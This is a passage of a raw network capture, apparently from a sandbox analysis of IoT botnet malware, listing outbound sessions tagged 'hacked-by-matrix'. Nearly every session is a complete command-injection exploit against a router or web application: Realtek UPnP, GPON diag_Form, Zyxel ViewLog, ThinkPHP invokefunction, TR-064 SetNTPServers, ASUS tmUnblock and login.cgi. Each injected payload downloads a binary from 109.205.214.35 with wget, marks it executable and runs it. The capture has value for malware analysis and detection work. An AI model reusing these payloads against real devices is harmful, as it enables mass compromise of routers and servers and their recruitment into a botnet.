realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.13	59756	35.190.100.113	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.647557974 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.13	51078	221.121.70.231	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.767430067 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:05.069117069 CET	987	IN	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.13	44806	3.18.60.22	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.796874046 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:05.124512911 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:05.226255894 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:23:05 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.13	38042	213.99.176.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.052699089 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:07.889336109 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.025731087 CET	491	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 345 Date: Thu, 21 Mar 2024 04:23:07 GMT Server: lighttpd/1.4.45 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.13	44236	95.101.251.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.166969061 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:21.775002956 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:29.358191013 CET	522	IN	HTTP/1.0 408 Request Time-out Server: AkamaiGHost Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:23:29 GMT Content-Type: text/html Content-Length: 314 Expires: Thu, 21 Mar 2024 04:23:29 GMT Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 52 65 71 75 65 73 74 20 54 69 6d 65 6f 75 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 52 65 71 75 65 73 74 20 54 69 6d 65 6f 75 74 3c 2f 48 31 3e 0a 54 68 65 20 73 65 72 76 65 72 20 74 69 6d 65 64 20 6f 75 74 20 77 68 69 6c 65 20 77 61 69 74 69 6e 67 20 66 6f 72 20 74 68 65 20 62 72 6f 77 73 65 72 27 73 20 72 65 71 75 65 73 74 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 32 26 23 34 36 3b 36 65 33 66 36 35 35 66 26 23 34 36 3b 31 37 31 30 39 39 35 30 30 39 26 23 34 36 3b 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 32 26 23 34 36 3b 36 65 33 66 36 35 35 66 26 23 34 36 3b 31 37 31 30 39 39 35 30 30 39 26 23 34 36 3b 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Request Timeout</TITLE></HEAD><BODY><H1>Request Timeout</H1>The server timed out while waiting for the browser's request.<P>Reference #2.6e3f655f.1710995009.0<P>https://errors.edgesuite.net/2.6e3f655f.1710995009.0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.13	59328	197.203.156.68	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.185125113 CET	512	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr06 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.13	47682	172.65.128.55	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.272537947 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:05.843322992 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.13	44598	23.48.158.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.451827049 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:06.455581903 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:07.436229944 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:07.757514000 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:23:07 GMT Date: Thu, 21 Mar 2024 04:23:07 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 35 62 39 32 39 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 38 37 26 23 34 36 3b 36 61 39 66 39 31 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.85b92917.1710994987.6a9f91d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.13	51684	52.203.198.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.557837009 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
